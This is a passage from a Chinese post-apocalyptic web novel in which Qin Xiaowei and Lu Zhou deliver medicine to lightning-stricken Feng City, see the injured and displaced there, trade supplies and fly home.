陆昼点点头，没说什么，带着两桶泡面下楼了，几分钟后，才端着泡面回来，他当着秦小薇的面，一个人干掉了两桶泡面，见她泡完了脚，准备进空间里吃饭，陆昼又开口道：“一起吧，我还没吃饱。” 秦小薇：“……” 她把人带进空间里，打开电磁炉开始煮狗饭，之后，就拿出海鲜餐厅生产的几道菜，就着米饭吃了起来。 担心外面有人敲门，他们没在空间里待太久，吃完饭，连碗筷都没收拾，就出去了。 泡了脚、吃了顿热气腾腾的晚饭之后，纵然屋里没有开空调，秦小薇也觉得浑身暖融融的。 她从空间里拿了一盏USB台灯出来，她按下开关，把台灯放在茶几上，裹着厚厚的法兰绒毯子，窝在沙发上玩手机。 陆昼就坐在她对面，不同的是，他膝盖上放着笔记本，正在处理工作。 屋里没人说话，气氛却十分和谐。 九点的时候，秦小薇打了个哈欠，她看向陆昼：“我今天晚上能睡空间里吗？” 陆昼看了下时间，有些惊讶：“你这么早就困了？” 秦小薇翻了个白眼：“你以为所有人都和你一样，不用睡觉吗？” 这家伙昨天加了一夜的班，白天又和她在空间里干了好几个小时的活，就只在飞机上补了几个小时的觉，他竟然就恢复精神了！ 陆昼：“……” 他想了想，回道：“还是睡外面吧，免得出现什么意外，我找不到你，解释不清楚……这里毕竟不是宁市！” 秦小薇嘟囔了一句“真麻烦”，却也没有反驳他的提议，她从空间里拿了厚被子和枕头出来，扔在客厅的沙发上，理所当然道：“你睡沙发，我睡床！” 陆昼揉了揉眉心：“……好。” 虽然房间很宽敞，但酒店的床并不干净，床单被套不知道多久没洗了，已经从白色变成了脏脏的灰色，被套上面还印着几个脏脚印，枕头下面还有几根头发。 被子也很薄，是开着空调盖的那种春秋被，可能是因为一直在下雨，被子还有些潮乎乎的，现在这种天气，得穿着衣服睡觉才不会冻感冒。 秦小薇纵然没有洁癖，也有点忍受不了。 她直接把床单被子拆下来堆到一边，换上自己空间里的床品，才躺上去。 床头正对着一大面落地窗，窗帘的遮光效果并不好，就算拉着窗帘，也能看到外面闪烁的雷电，时不时还能听到几声“轰隆声”，非常吓人。 秦小薇戴上耳塞和眼罩，闭上眼睛，过了好一会儿才睡着。 半夜的时候，她忽然从梦中惊醒，一睁眼，就看到床脚站了个人，她吓了一跳，瞬间从床上弹起来，等借着台灯的光线看清床脚的人，她才重新坐回床上。 秦小薇扔了个枕头过去，忍不住骂道：“陆昼，你神经病啊！大晚上不睡觉，跑我房间来干什么？” 陆昼躲开她扔过来的枕头，无奈解释道：“严逸他们房间里落地窗的玻璃被雷劈裂了……我进来检查一下。” 秦小薇有些震惊：“啊？雷还能把窗户劈裂？” 陆昼拿出手机，解锁后扔到她面前：“你自己看！” 手机上是一个聊天界面，她翻了一下，眉头忍不住皱了起来。 第99章 第99章“木乃伊”（双更合一）…… 和秦小薇他们住的套间不一样,其他人住的房间并没有客厅，因为明天还要和风城官方的人交接药品，他们不像秦小薇,九点多就睡了,其他人一直在房间里加班,商讨明天的细节。 因为房间面积比较小，落地窗离办公桌和床都很近,窗户被劈裂的时候,住在屋里的两人刚好侧对着窗户，炸开的碎片便扎进了两人的脖颈、脸颊上…… 有一人被扎到了动脉,血呼啦啦地流了一地，现在人已经凉了！ 还有一个人，虽然没死,但半边脸也被毁容了,脸上全是玻璃，像是一个原本就不怎么光滑平整的血橙，被人强行戳烂了表皮,露出内里的果肉果汁，看起来非常凄惨…… 关键是,因为雷暴的原因,外面又是刮风又是下雨，风城现在出行不方便，再加上机场原本就地处偏僻,现在根本找不到医生为那位毁容的队员处理还残留在肉里面的玻璃碎片！ 酒店的工作人员只能用双氧水帮对方简单地冲洗伤口…… 秦小薇听着视频里那位队员的惨叫，看着对方血呲呼啦的半张脸，莫名觉得自己完好无损的左半边脸也痛了起来。 她看着床尾被窗帘遮住的巨大落地窗，忽然觉得,它就像是一个随时准备攻击自己的巨大怪兽。 她把手机扔回给陆昼，裹着被子跳下了床：“卧室太危险了，我要去客厅待着！” 陆昼随手把手机塞进口袋里，跟在她身后，和她一起离开了卧室。 连着看了一组那么恐怖的照片和视频，秦小薇现在已经彻底没了睡意，她看向坐在对面不动如山的男人，问他：“你的队员死得死伤得伤，你作为领头人，不下去处理一下吗？” 他们是代表宁市过来的，酒店就算暂时给不了一个说法，也得帮其他人把房间换了吧？ 陆昼：“我去卧室检查窗户之前就下去了，其他人现在都在一楼大厅里，一楼没有这么大面积的落地窗，他们待在一楼，暂时没有危险。” 秦小薇：“尸体呢？” 陆昼：“还在房间里，酒店的人会尽快把尸体送去火葬场，之后我们带骨灰回去。” 秦小薇点点头，不再多问什么。 她打开手机，看了下员工群的消息，她昨天一整天都没出现在健身房里，不过健身房分工明确，秦小薇的主要作用就是统揽大局，只 要没发生什么特殊情况，不管她在不在，都没什么差别。 虽然市里又开了一家女子健身房，但她们健身房的口碑早就打出去了，她们的价格虽然贵一些，但各方面的条件确实是比对方好，所以就算多了一个竞争对手，健身房的人流量也没怎么受影响。 比起担心竞争对手抢生意，秦小薇更担心冷不丁又出现什么天灾，导致健身房没法正常开门营业。 昨天也是一样，健身房平稳结束了一整天的营业。 玩了会手机，秦小薇觉得有点饿了，便进了趟空间，准备弄点夜宵吃吃。 一进去，她就看到德牧无精打采地趴在她离开前待的地方，看到秦小薇进空间了，它站起来甩了甩身上的毛，兴奋地甩着尾巴过来蹭她的腿。 秦小薇有些惊讶：“朔月，你怎么没回屋里睡觉？” 朔月没有回答她的问题，依旧围着她转圈圈，脑袋不停地往她身上蹭。 把它从警犬基地接回来到现在，秦小薇几乎和它形影不离，吃饭睡觉都在一起，她猜测，可能是今天没陪它一起睡觉，它有些不习惯，秦小薇顿时有些难受。 她有自己的生活，就算闲着没事，也有网络打发时间，但小狗就只有她一个人…… 秦小薇蹲下来，揉了下它的脑袋：“对不起啊！今天特殊情况，没能陪你一起睡觉……” 朔月继续热情地用脑袋蹭她的脸。 秦小薇带着它去了自己的露天厨房，她削了半个苹果给它加餐，又拿了根长长的肉骨头给它啃着玩：“吃完夜宵就去睡觉，好不好？” “汪——” 秦小薇用空气炸锅热了一盘红糖糍粑和鱼饼，美美吃了顿夜宵，又把朔月带去它的房间，把它哄睡了，才出了空间。 她出去的时候，陆昼已经盖着被子在沙发上睡着了，但秦小薇一出现，他就霍然睁开了眼睛，眼神十分锐利，眼中没有半点睡意，看清面前的人之后，他的眼神才重新变得平和。 秦小薇被他吓了一跳，忍不住吐槽道：“你刚刚那个眼神也太吓人了，我差点就以为你要对我拔枪了！” 陆昼把枕头下的手抽了出来，语气冷淡：“你没看错。” 看到他手上的东西后，秦小薇有些无语，这家伙以后交了女朋友，该不会因为女朋友起夜把他吵醒了，他直接把人一枪崩了吧？ 进行了一些无意义的脑洞后，秦小薇重新缩回了被子里。 窗外雷雨声阵阵，十分吵闹，她缩在沙发上，玩了两个多小时的手机，外面的天才亮起来。 天亮之后，秦小薇收拾了一下屋里不该存在的东西，又把床单铺了回去，才背上背包，和陆昼一起出门。 临出门前，秦小薇问他：“咱们的事今天能办成吗？” 陆昼：“应该差不多，我已经找好仓库了……等公事解决了，咱们再办私事。” 一楼大厅里全是人，据说是因为昨天晚上死人之后，酒店的工作人员就挨个敲门，通知客人们，靠近窗户可能会有危险。 有些人比较胆小，干脆就从屋里出来了，待在更加安全的一楼。 一楼闹哄哄的，空气中是各种混杂的气味，非常不好闻。 和他们同行的那位已经毁容的同伴，伤口依旧没处理好，因为脸上全是玻璃碴，酒店的工作人员甚至不敢给他包扎，只让伤口敞着，暴露在空气中。 虽然之前就从视频里看过对方的惨状了，但再面对面看到他的伤口，秦小薇还是起了一身的鸡皮疙瘩。 陆昼径直朝着几人开口道：“外面的雨已经小很多了，我们先送老张去医院，再去办事……” 坐在椅子上的老张疼得嘴唇泛白、满头冷汗，艰难地吐出一个“嚎”。 可能是说话的时候扯到了伤口，他刚说完，脸上的肌肉竟然不自觉地抽动起来，原本结了一层浅痂的伤口也裂开了，鲜血顺着伤口不断往下滴，看上去愈发吓人了。 他们没有交通工具，陆昼只能找酒店借车。 外面的雨虽然变小了一些，但风依旧很大，雷声也一直没停，酒店的工作人员认为现在出门具有一定的危险性，再加上他们身份特殊，工作人员担心陆昼他们出了事自己要担责任，一直拖拖拉拉地找各种借口，不愿意为他们提供车子。 陆昼最后联系了风城官方的人，让上面的人给酒店经理打了电话，对方才给他们准备了一辆面包车。 酒店提供的是一辆九座的面包车，坐下他们几个刚刚好。 外面的风很大，拍在窗户上，像是随时都会把车子掀翻，听起来有些吓人。 可能是因为半夜待在一楼的时候，听到了不少风城这段时间，由于雷暴引发的安全事故，车里其他人都很紧张，气氛一时有些肃穆，只偶尔能听到老张从喉咙里挤出的痛苦的呻吟声…… 外面的天还没完全大亮，秦小薇透过车窗，看到雷电劈在残存的建筑上方，瞬间点亮天空。 在这一刻，就连光都变成了一种危险的存在…… 陆昼坐在驾驶座上，他表情沉静，手也很稳，并没有因为外界的环境，就露出一丝一毫慌张的表情，车子划破地上的积水，飞速前进。 秦小薇坐在车里，像是在坐过山车一样，失重的感觉，让她的心跳都开始失衡…… 她忍不住看了眼陆昼的侧脸，说实话，他这心理素质，她还是挺佩服的！ 最近的医疗点在十几公里外，秦小薇提心吊胆了二十多分钟，他们终于平安到地方了。 因为频繁的雷暴天气，地面的简易金属屋住着不安全，医疗点被转移到了一座地下商场内，商场只分出了一半让医生护士给病人看病，其余地方，全都拿来安置难民了。 这里的味道比酒店一楼更难闻，和宁市当初的临时避暑点有得一拼…… 秦小薇往前走了没几步，就有种进了鲱鱼罐头里的感觉！ 宁市的普通市民还沉浸在过年和元宵节的余韵里，但这里的人，个个脸上都是死气沉沉的，和宁市的氛围完全不一样。 临时医疗点的空气质量稍微好一些，但依旧有很多人，且大部分病人，都躺在走廊上的简易病床上，身上被裹得跟个木乃伊似的，连翻身、喝水都要人帮忙。 秦小薇看到一个护士直接搬了一箱纱布放在病人的病床前，给对方换药，换下来的脏纱布，直接装满了半个纸箱。 病人身上的伤应该是被雷劈的，糊着药膏的伤口散发出一阵阵腐败烤肉的焦煳味，比老张脸上的伤还要吓人…… 看她的身材，病人应该是个女性，但因为她那身伤，就算她此时近乎全|裸地躺在病床上，也没有异性朝她露出淫邪的视线，大家不小心扫到之后，就匆匆转过了头…… 秦小薇：想要一双没看过这些伤口的眼睛！感觉今天的中饭要吃不下去了！ 进入医疗点后，陆昼没去排队挂号，他直接打了个电话，医疗点的负责人就过来接待他们了，还把老张带进了一间用帘子隔开的“单人病房”处理伤口。 秦小薇和众人站在帘子外面等结果，听着帘子后面老张不断发出的惨叫声，秦小薇只觉得一阵头皮发麻。 陆昼忽然冲着她开口道：“你要不要去外面等？” 秦小薇看了看周围痛苦呻吟的“木乃伊”们，点头答应了：“我去入口的楼梯那儿等你们……” 宁市的医疗点虽然也有很多人，但至少大部分病人看起来都是正常人，和这里宛如人间炼狱的景象完全不一样，其他人也觉得有点瘆得慌，纷纷提出要和秦小薇一起去外面等。 于是……最后只有陆昼一个人留下等老张处理伤口。 到入口处呼吸到新鲜空气之后，秦小薇才悄悄松了口气，其他人也放松了一些，开始聊天。 “老张这回可真是倒霉，本来以为是个捡功劳的好机会，没想到……” “要我说还是老王更惨一些！什么都 没干呢，人就没了！” “老张这也算是因祸得福了，他遭了这么一通罪，以后评奖评优什么的，领导肯定优先考虑他！” “但他那张脸毁成那样，他老婆又和他离婚了，以后怕是难了……” “男人主要还是看能力，长相不重要！” “话可不是这么说的？谁不喜欢长得好看的？” “……” 秦小薇默默听着众人的八卦，并没有加入他们，但她不说话，其他人却有意和她结交，没过一会，就把话题转到她头上了，她只能和他们敷衍地聊了一会。 入口处的空气质量虽然很好，但外面的风实在是太大了，众人站了一会儿，又返回室内待着了；但地下室实在是太臭了，他们待了没多久就又被熏出来了……如此往复了两个多小时，他们才接到陆昼的电话，说老张的脸处理好了。 和医疗点其他的“木乃伊”差不多，老张的脸也被纱布裹起来了，只留了鼻子、眼睛、嘴巴在外面。 如果不是他身上那身衣服，众人根本认不出他。 医生说，他脸上的神经可能受到了损伤，等伤口拆线之后，不仅会留疤，那半边脸可能还会面瘫…… 他们的行程很急，老张现在没法说话，就算跟着也做不了什么，陆昼干脆就把他留在医疗点休息，等事情办完了，再过来接他。 之后，秦小薇就跟着几人去了风城的市区，辗转各个部门，和他们协调医疗物资的事。 因为他们来之前，就和风城市政的人在电话里商量过这件事了，再加上他们也如约把交易的物资带过来了，并没有打欠条，所以事情办得非常顺利，宁市紧缺的药品，很快就被送进运输机里了…… 唯一的问题就是，这边雷暴频繁，再加上机场的跑道积水严重，暂时不适合飞机起飞。 他们得和同行的其他工作人员在风城逗留两天，等合适的机会起飞。 之前那家酒店不安全，风城官方的人又给他们安排了另一处住处，是一所学校的教职工宿舍，还是临时腾出来的。 和之前一样，他们依旧是两人一个房间，秦小薇和昨晚一样，选择和陆昼睡一间，毕竟和他住一起，她可以毫无顾忌地进出空间、用空间里的物资。 不和他住，她就得睡潮乎乎的脏被子、啃能量饼干……该怎么选，她根本不用考虑。 其他人都默认他俩是情侣，对于陆昼的安排，并没有人提出异议。 教职工宿舍之前是用于安置难民的，难民们住的时候并不爱惜，所以屋里很脏，有一面墙上还沾了很多像是鼻涕的黄色不明分泌物，已经干结成块了，看起来非常恶心。 进屋后，秦小薇把地上的垃圾扫到角落里堆起来，才在屋里找地方坐下。 她瘫坐在椅子上：“总算是能歇一歇了，今天过得也太刺激了！” 其实跟着陆昼他们跑各个部门办手续并不累，因为也不需要她出面，她只要坐在边上当个摆设就行了，但在医疗点看到那么多被雷劈过的普通人之后，秦小薇坐车就有些心惊胆战的，生怕自己也会变成和他们一样的木乃伊…… 陆昼看了她一眼：“给你十分钟吃中饭，趁着现在雨停了，我们提前过去，把交易的物资转移到仓库里。” 秦小薇：“……”行叭！早干完活早躺平！ 她叹了口气，从仓库里取出面包和牛奶，分了陆昼一份，大口大口咀嚼起来。 五分钟后，两人重新上了面包车，去了一处废弃的烂尾楼。 秦小薇不可置信地看着陆昼：“你说的仓库，不会就是这吧？” 这里不仅是烂尾楼，因为地震的原因，没建好的房子塌了大半，剩下的建筑也一副摇摇欲坠的模样，因为风太大，秦小薇肉眼都能看到房子在晃，这里简直就是危房！ 站在附近，她都得戴个安全帽，否则还得担心被烂尾楼上掉下来的不明物体砸到脑袋…… 陆昼轻轻应了一声，解释道：“这边住房紧张，找不到别的仓库。” 秦小薇：“……”但这也太随便了吧！ 陆昼提醒她：“速战速决！” 秦小薇呼出一口气，从仓库里翻出安全帽戴上，才下车进了烂尾楼。 陆昼早就做过功课，他对这里的地形非常熟悉，他带着她，径直去了地下停车场，地下停车场也是半塌的状态，秦小薇打着手电筒，一眼就看到不远处一根承重柱开裂了，露出里面的钢筋…… 找到一块合适的地方后，她就开始动手了，飞快把空间里提前准备好的东西都搬了出来。 等东西都搬出来了，秦小薇才看向陆昼：“对方什么时候过来？” 陆昼拿出手机：“我现在就联系……” 秦小薇皱眉：“这要等多久？你怎么没提前联系好人就让我来干活？” 陆昼：“要是让他们提前知道了地方，安排人过来，发现了你空间的秘密怎么办？” 秦小薇：这个理由……实在是无法反驳。 打完电话后，他们又在车里等了两个多小时，才等到一排姗姗来迟的大卡车。 期间，秦小薇看着远处在风中轻微摇晃的烂尾楼，在心里默默祈祷烂尾楼等他们离开了再塌。 对方也没有废话，验完货之后，车上搬货的工人就开始卸货上货…… 烂尾楼被废弃是有原因的，就他们干活的这几个小时，楼上就掉了好几块水泥下来，好在没有砸到人，造成人员伤亡，但这也足够让他们心惊胆战的了…… 光从体积来看，秦小薇他们准备的物资，要比对方多很多，不过宁市现在药品稀缺，随便一盒感冒药，同城APP上就能卖到几百上千的价格，退烧药和消炎药更是按粒售卖。 这些东西要是拿回去卖了赚差价，他们肯定是不亏的…… 等人离开后，陆昼拿出电脑，入侵了附近的监控，对着笔记本一顿敲敲打打，才让秦小薇把东西收进空间里。 秦小薇：“你还会当黑客呢？” 陆昼：“认识你以后新学的技能。” 秦小薇：“……” 等结束之后，重新回到住处，秦小薇才彻底松了口气，忙活了十多个小时，总算是可以休息了。 她可以休息了，陆昼却没闲着，他先去接了还在医疗点的老张、又把另一个成员的骨灰从火葬场带了回来，晚上又去参加了风城高层组的局，和对方维系关系，一直到十一点多才回来……可以说是非常忙了！ 秦小薇甚至有种明明同样是过二十四小时，陆昼却活得比她长的感觉…… 不过她也不羡慕陆昼这种状态，她上辈子和他现在差不多，恨不得不睡觉，一分钟掰成两分钟花……最后还不是猝死了！ 对现在的她来说，作息规律、睡眠充足比较重要！ 第二天早上六点半，秦小薇准时睁开眼睛，正准备下床洗漱，脚踝却忽然被人握住了。 她吓得瞪大了眼睛，她下意识挣扎，却没挣脱开，低头一看，才发现陆昼在她床边打地铺，她刚刚差点踩在他身上了。 秦小薇收回脚：“你这一天天的，也太吓人了！你和你爸妈一起住的时候，也这样吗？” 陆昼从地上坐了起来，反击道：“他们可不会在我睡觉的时候，毫无预兆地凭空出现，还想踩我的肚子。” 秦小薇：“……” 行吧！她承认，今天是她的错，睡迷糊了，忘记床下还有个人在打地铺…… 秦小薇转移话题道：“咳咳，你早餐吃什么？这里没准备泡面，你要和我一起进空间里吃早饭吗？” 第100章 第100章回家（双更合一）…… 陆昼想了想,摇头：“附近人太多了，还是留个人在外面吧，你给我一袋面包就行了！” “行！”秦小薇直接拿了袋面包扔给他。 她收拾了从空间里 拿出来的被子枕头,简单洗漱了一下,她就进空间里了,她昨晚睡觉之前，担心朔月不习惯,进空间把它哄睡了才出去的。 但她早上一进来,就看到朔月又趴在外面等她。 秦小薇脑补了一下德牧孤单一只狗在空间里等自己的画面，顿时有些心疼,她蹲下来捧住它的狗脸：“不是让你好好在狗窝里睡觉吗？怎么这么早就出来了？在这等多久了？” 朔月没有说话，只摇着尾巴冲她笑。 秦小薇心软得不行：“你也太乖了……” 陪着自己的宠物们吃了顿早饭，她才依依不舍地离开了空间。 昨天的经历实在是太刺激了,就算这是她第一次来风城,秦小薇也没有出去闲逛、见识风城风土人情的心思，她只想待在屋里，等外面的天气好一些,赶紧坐飞机回宁市。 她从空间里拿了一堆兔皮和工具出来，清空书桌,就开始裁剪兔皮,给朔月做带帽子的兔毛背心。 陆昼今天似乎不需要处理工作，他开着笔记本，坐在沙发上打游戏,神态轻松，和昨天的状态完全不一样。 秦小薇出来后，他看了她一眼，就低头继续打游戏了。 秦小薇的手艺一般,好在她手里还有朔月的其他背心，她把背心拆了，照着画出纸样，再沿着纸样把兔皮裁剪出来，缝合起来就行了…… 要是翻车了也没事，反正她手里的兔皮足够多，可以让她随便练手。 况且，这是给狗穿的，就算丑点，它应该也分辨不出来咳咳…… 等手艺熟练了，她再给自己折腾点兔皮围巾、兔皮手套什么的打发时间。 大约八点半的时候，房门被人敲响了，门外传来一位同行队员殷切讨好的声音：“陆部长、小薇，工作人员给我们送了物资包，你们的那份，我帮忙一起领了……” 陆昼递给秦小薇一个眼神，示意她收拾好桌上的东西，才过去开门。 “陆部长，你们昨天睡得还好吧？这两份是你们的物资包……所有人都是一样的……” 简单寒暄了几句，陆昼就关上了房门，物资包的体积很大，秦小薇凑过去，打开纸箱看了看。 箱子里的东西，与其说是物资包，不如说是零食大礼包。 里面有不少饼干、零食、饮料，因为分量很多，当主食吃，也能让他们吃饱。 不过这些零食秦小薇大多都没见过，她看了下生产信息，发现都是E省当地生产的，这也算是变相让他们尝到当地的特产美食了！ 她直接开了一瓶饮料，灌了一口。 秦小薇：“这个饮料有点难喝！一股薄荷油的味道……” 她又开了几包零食。 秦小薇：“这个五香蚕豆挺好吃的！蛋黄月饼也不错！陆昼，你要不要尝尝？” “嗯。”陆昼轻轻颔首，和她分了一包五香蚕豆。 她一连拆了好几包零食，直到觉得有点撑了，才停下来。 她用夹子把零食封好口，坐回桌旁，继续折腾朔月穿的背心。 但秦小薇坐了不到十分钟，大门上的电子锁就被人按了几下，紧接着，门外就传来非常暴力的敲门声。 “开门！快开门！”一个有些粗犷的男声隔着门板传了进来。 秦小薇：感觉白天不适合从空间里拿东西出来，来来回回折腾实在是太麻烦了，她还是老老实实坐着打游戏吧！ 她收起桌上的东西，示意陆昼可以去开门了。 因为外面的声音听起来有些来者不善，秦小薇也跟了上去。 门外是一个穿着深蓝色长款羽绒服、头发二八分、看上去有些邋遢的中年男人，他左手的袖子空荡荡的，似乎是个残疾人。 陆昼皱眉看着对方，语气有点凶：“你干什么？” 他推了下陆昼，就要挤进屋里：“什么干什么？老子才几天没回来，你们就把密码给换了，看我没了一只手，故意整老子是不是？” 陆昼直接抓住了他完好无损的右胳膊，没让他进屋。 听到他的话，秦小薇大概猜出了他的身份，便冲着男人开口道：“我们是宁市人，过来出公差的，风城市政的工作人员安排我们住这儿的……原先住这屋的人都被安排到别的地方去了，你没收到通知吗？” 虽然陆昼拦住了他，但这间公寓就这么大，他站在门口，一眼就能看清屋里的情景。 见屋里不像其他房间一样堆满行李，他顿时就明白了，秦小薇说的不是假话。 安全屋会导电，因为频繁的雷暴，现在住安全屋就相当于拿自己的命去赌，现在风城的住房比宁市紧张很多倍，如果不是身份特殊、真的有点关系，根本不可能住上这种“豪华双人间”。 中年男人不想得罪他们，他没再往屋里冲，却也没有离开：“那我和我老婆的行李呢？” “不知道，我们昨天下午搬进来的时候，屋里就被清空了，就只剩那一堆垃圾……”秦小薇指了下角落里还没扔出去的杂物。 中年男人皱眉：“你是说，我的行李没了？” 陆昼的声音十分冷漠：“可能是工作人员帮忙保管了，你去联系社区吧！” 说着，他就要关上门。 独臂中年男人却用脚抵住了门缝，不让他关门，他瞪着两人，态度十分强硬：“不行，我送我老婆去医院的时候，东西都还在，现在一回来，东西就没了，房子也没了……你们必须得把东西给我找回来！” 陆昼强调道：“我不知道你的东西去哪了，我们搬进来的时候屋里就空了！” 两人顿时僵持起来。 秦小薇知道，男人这么做，也只是担心行李找不回来而已，县官不如现管，现在这种时候，基层工作人员的权力还是很大的，对方要是真的给他使什么绊子，他那些家当就真的再也找不回来了。 秦小薇的视线落在对方空荡荡的袖管上，冲着陆昼开口道：“要不你打个电话帮忙问问？” 这事对他来说就是一个电话的事，却能帮对方解决一个大问题，外面又打雷又下雨，要是他的行李真的找不到了，他想“维权”，也不容易。 陆昼看了她一眼，叹了口气：“知道了！” 说完，他转身回屋里拿手机。 不过，和秦小薇预料的不一样，这事还真不是陆昼一个电话就能解决的。 当时腾房子的时候比较急，工作人员通知完屋里的人搬去其他街道的地下车库，就去协调其他的事了，根本没考虑到有人去医院看病不在家的情况。 这栋楼已经断电很久了，独臂男人和他妻子的手机都没电了，他同屋的人也就没能联系上他，他们关系一般，住的地方又不一样，其他人也就没帮他们夫妻俩搬家。 他们搬完家之后，最后一个离开的人，并没有把门带上，周围其他人以为屋里剩下的东西都是不要的，剩下的行李就被附近的住户搬空了…… 楼道里没有监控，市政的工作人员接到电话后，过来问了一圈，也没人承认拿了男人的行李。 住宿的地方倒是好办，挤一挤挪一挪，这么大一座城市，想腾出两个床位并不难，但这栋楼塞了太多人，太乱了，像是行李箱之类的大件还好说，警察搜查一圈，也能找回来，但一些小东西，就难说了…… 陆昼把人交给市政的工作人员，就关上了房门，他转头看着秦小薇：“这里不是宁市，多管闲事可能会惹来麻烦，你收敛一点。” 秦小薇忍不住皱眉：“这怎么能算多管闲事？他本来就是因为我们住进来，才受了无妄之灾……而且人家还是残疾人！” 因为见识过太多品行败坏的三次元男人，一般情况下，秦小薇是不会共情异性的，但是这次，确实不一样…… 陆昼摇了摇头，没有说话。 秦小薇：“你说，工作人员会怎么处理这件事？” 陆昼没怎么思考，就直接答道：“随便赔偿点钱或者物资把事情平了吧！毕竟这事涉及到我们，处理不好，他们对外形象会受损……” 秦小薇：“……”这种时候，还在意这个呢？不过这对那个独臂男人来说，也算是好事吧！ 至少能挽回损失！ 秦小薇以为，事情很快就能顺利解决，但没过多久，外面就爆发出一阵剧烈的争吵声。 她凑到门口听了一会才知道，原来独臂男人丢失的行李里面，有一个铁皮罐子，里面装的是他儿子的骨灰，“拿”了罐子的人，直接把骨灰倒到窗户外面扬了…… 独臂男人知道以后情绪直接崩溃了，要和扬了骨灰的人拼命，如果不是市政的人拦着，他们现在已经动手了。 秦小薇：“……”她心里顿时有些五味杂陈。 好像真的给人家造成不可挽回的损失了… … 陆昼也听到了外面的动静，看到她脸上的表情后，他开口道：“不用觉得愧疚，这事和我们无关，是风城官方的工作失误……” 秦小薇叹了口气，无精打采地在椅子上坐下：“他好惨！” 唯一的儿子的骨灰被人当垃圾扬了，不管工作人员给什么物质补偿，都补不上他心里的窟窿吧！ 陆昼：“要不要找点事做？心情不好的时候，让自己忙起来，就没时间想那么多了！” 秦小薇抬头看着他，表情有些奇异：“你在安慰我？” 她的视线太过灼热，陆昼转开头，不和她对视：“提个建议。” 独臂男人不要赔偿，就只要他儿子的骨灰，外面的人吵了许久，却始终没能吵出一个结果……最后，独臂男人被工作人员强行带走了。 秦小薇也从他们的争吵声中，知道了独臂男人一家的情况，雷暴刚刚发生的时候，大家没有经验，不知道安全屋被雷暴击中之后里面住的人会被电死。 因此风城的第一次雷暴造成了不少伤亡，幸运一点的，就只是皮肤表面造成了一些电击伤，不幸的，则直接被电击到心脏麻痹，当场死亡。 他们一家似乎格外“倒霉”，之前高温的时候，他儿子就因为热射病去世了，雷暴过后，他老婆因为皮肤大面积电击伤住院了，他自己则失去了左臂。 他原本是个货车司机，失去一只手后，他也开不了车了，现在连最基本的生存都成了问题…… 秦小薇有些唏嘘，这么一对比，还是宁市好啊！虽然时不时就来一场大雾，但在“人工干预”下，空气中的雾气已经越来越淡薄，几乎不影响普通人出行。 最近这几个月，除了沙尘暴，也没发生其他什么天灾。 地下城的建设也在缓步推进，市面上物资的供应也在逐渐恢复…… 可能是因为知道他们“身份不凡”，一整个白天，外面敲门的声音就没断过。 敲门的都是楼里的住户，过来找他们乞讨的。 有一开门就吹着葫芦丝，用奇怪调子的rap祝他们身体健康的卖艺女大学生组合；有直接拿着个碗过来要糖的七八岁小姑娘；还有没了一条腿，拄着拐杖坐在他们门口要物资的老大爷…… 秦小薇很惊讶，因为失业，宁市也有既买不起能量饼干，又不愿意去工地干活，而选择当街乞讨的普通人，但大部分人都要脸，不愿意让认识的人知道自己的现状，就算乞讨，也会跑远一些……跑到邻居家门口乞讨的，她还是第一次看到。 她和同行的其他几人，刚开始的时候还会开门，象征性地往他们碗里放几张纸币，打发了他们，但次数多了，他们也有点吃不消，后面干脆就不开门了。 门外的人见敲不开门，很快也就离开了。 秦小薇忍不住和陆昼吐槽：“这趟可真是‘精彩’，我在健身房待一个月，都不一定能经历这么多事！” 陆昼：“环境所迫，他们想活着，只能这样……习惯就好。” 秦小薇：“你上辈子的时候，也经常碰到这样的事吗？” 陆昼转着手机，没有回答她的问题，转而道：“晚上咱们轮流进你的空间里吃饭，你先去吧！” 秦小薇：“……你转移话题的方式好生硬啊！” 陆昼：“和你学的。” 他们一行人又在教师公寓关了三天，陆昼才收到消息，说是飞机可以起飞了。 这三天，虽然秦小薇一直关在屋里，和陆昼一起组队打游戏，但也因为各种原因，见到了不少因为雷暴身体受到摧残的普通人。 她很不喜欢风城的雷暴天气，简直归心似箭，听到陆昼说可以回去了，不到五分钟，她就收拾好了自己的背包。 陆昼：“……不用这么着急，下午才出发！” 秦小薇：“没事，我先收拾好东西，到时候拿上包就能走！” 陆昼：“……” 下午，他们提前去了机场，上飞机后，秦小薇发现，外面的景色一直在变化，飞机却始终没有起飞的意思。 他们坐的客机和前面一排运输机像汽车似的，一直在地上跑！ 秦小薇趴在舷窗上，朝外面看了许久，她忍不住问陆昼：“咱们这是要走陆路回去？” 这么大一架飞机，路上会堵车吧？ 要是油烧完了，路上有加油站给它们加油吗？ 秦小薇开始发散思维…… 陆昼解释道：“跑道上积水太严重，没办法起飞，飞机要开去附近的高速路上起飞。” 听到他的解释，秦小薇放心了！ 不是走陆路回去就好！ 回去的时候，他们虽然没有碰到雷暴，但沿途的好几座城市都在下暴雨，机舱里摇晃得比来的时候还要厉害，有人直接晕机吐了出来。 但秦小薇却不像来的时候那么紧张。 毕竟来的时候，他们连雷暴云都碰到了，不还是绕过了雷暴云，平安落地了！ 她对这些军队出身的飞行员很有信心，感觉暴雨天气，对他们来说都不是事…… 事实证明，开战斗机的飞行员就是靠谱，几个小时后，众人平安降落在宁市的机场。 宁市的医疗系统现在急需他们带回来的这批医疗物资，飞机的舱门刚打开，等在下面的工作人员就迅速行动起来，一趟趟往外搬东西…… 宁市今天的温度依旧不高，但出了太阳，阳光照在身上，有些暖融融的。 秦小薇闭上眼睛，深吸一口气：“终于到家了！” 陆昼要带着队员的骨灰去报丧，不能和她一起回去，他把自己的车钥匙扔给她：“你先开我的车回去，明天我去你家找你拿车！” “OK！回见！”秦小薇接过钥匙，冲着其他人挥挥手，就头也不回地离开了。 路上，秦小薇把朔月从空间里放出来，才哼着歌，把车开回了公寓。 好几天没出来了，忽然出来坐车，朔月也表现得很兴奋，一路上都在张着嘴笑。 她到家的时候，健身房正准备关门，员工们看到她之后纷纷和她打招呼。 “店长，你终于回来了！” “哎呀，我们小月亮也回来了！想死姐姐了！姐姐给你留了鸡蛋，吃不吃？” “薇薇，这趟出差顺利吗？有没有什么收获？” “……” 秦小薇简单和员工们寒暄了几句，又问了下店里的事，就回家换衣服去了——她只带了一个背包，正常情况下，是装不了太多行李的。 为了不暴露空间，换了干净的鞋子后，她就没再换衣服，身上这套衣服，她已经穿了五天了。 换完衣服之后，秦小薇在群里发了条消息，询问三个室友今天的情况。 她不在的这几天，市里的巡逻队有一半都被调去江安区的隔离点维持 秩序了，她的三个室友也在其中。 